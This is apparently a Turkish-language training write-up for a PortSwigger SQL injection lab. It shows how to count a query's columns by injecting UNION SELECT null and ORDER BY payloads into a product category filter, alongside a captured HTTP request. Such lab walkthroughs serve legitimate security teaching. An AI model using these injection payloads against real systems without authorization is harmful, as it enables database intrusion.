> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query-cozumu.md).

# SQL injection UNION attack, determining the number of columns returned by the query Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün kategori filtresinde SQL Injection zafiyeti var. UNION la diğer tablolardan veri çekebilirsin.

İlk adımda ilk SELECT den dönen sütün sayısını bul. Bunu UNION null kullanark bul demiş.

Sayfa aşağıdaki gibi:

<figure><img src="/files/KlxlCSWW7SkICalM7d34" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/EguEuxBJn90aLCqFg48D" alt=""><figcaption></figcaption></figure>

```bash
GET /filter?category=Accessories HTTP/1.1
Host: 0a4e009d03dfaae580a471a5001300bf.web-security-academy.net
Cookie: session=oc7YVvc8XGTl03cZqiXWGHhR5Wkqw5yJ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0a4e009d03dfaae580a471a5001300bf.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Accessories, buradaki Accessories yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım.

İlk UNION sorgumuzla 1 null koyarak başlayalım. Önceki SELECT sorgusunun çektiği null sayısını bulana kadar arttıralım.

`' UNION SELECT null--`

hata verdi bir null daha ekleyelim.

`' UNION SELECT null,null--`

hata verdi bir null daha ekleyelim.

`' UNION SELECT null,null,null--`

ve başarılı 3 değer çekiyormuş, labda sadece bunu bulmamızı istiyordu.

<figure><img src="/files/bojm0Lmv0Xw1hWbN1H1e" alt=""><figcaption></figcaption></figure>

Burada madem lab bunun üzerine ORDER BY kullanımını da pratik edelim.

`‘ ORDER BY 1--` gönderin ve cevaba bakın:

<figure><img src="/files/I6O8NxjKZDwCNkeMri1w" alt=""><figcaption></figcaption></figure>

200 verdi bi de 2 diyerek gönderelim:

`‘ ORDER BY 2--`

yine 200 dedi 3 diyelim:

`‘ ORDER BY 3--`

yine 200 verdi 4 deneyelim:

`‘ ORDER BY 4--`

<figure><img src="/files/7FO1DMStd5eLaRtAJWej" alt=""><figcaption></figcaption></figure>

500 hatası verdi, demek ki 3 tane sütün çekiyormuş.

#### Neden ORDER BY ile Sütun Sayısını Bulabiliyoruz?

Sorgunun sonuna eklediğimiz `ORDER BY X` komutu veritabanına şu emri verir: **"Sonuçları X numaralı sütuna göre sırala."**

* **Eğer `ORDER BY 3` dediğinde sayfa düzgün açılıyorsa:** Veritabanı şunu der: "Tamam, 3. sütuna göre sıralıyorum, çünkü bende en az 3 sütun var."
* **Eğer `ORDER BY 4` dediğinde 500 hatası alıyorsan:** Veritabanı şunu der: "Hata! Benden 4. sütuna göre sıralama yapmamı istiyorsun ama benim tablomda sadece 3 sütun var, 4. sütun mevcut değil."

#### UNION vs. ORDER BY: Hangisi Daha İyi?

* **ORDER BY:** Çok daha hızlıdır. Eğer bir tabloda 50 tane sütun varsa, tek tek `NULL` eklemek yerine `ORDER BY 25`, `ORDER BY 50` gibi büyük adımlarla sütun sayısını saniyeler içinde bulabilirsin.
* **UNION SELECT NULL:** Daha garantidir. Sütun sayısını bulduktan sonra, hangi sütunun metin (string) hangi sütunun sayı (integer) kabul ettiğini test etmek için bu yönteme geçmek zorundasın.
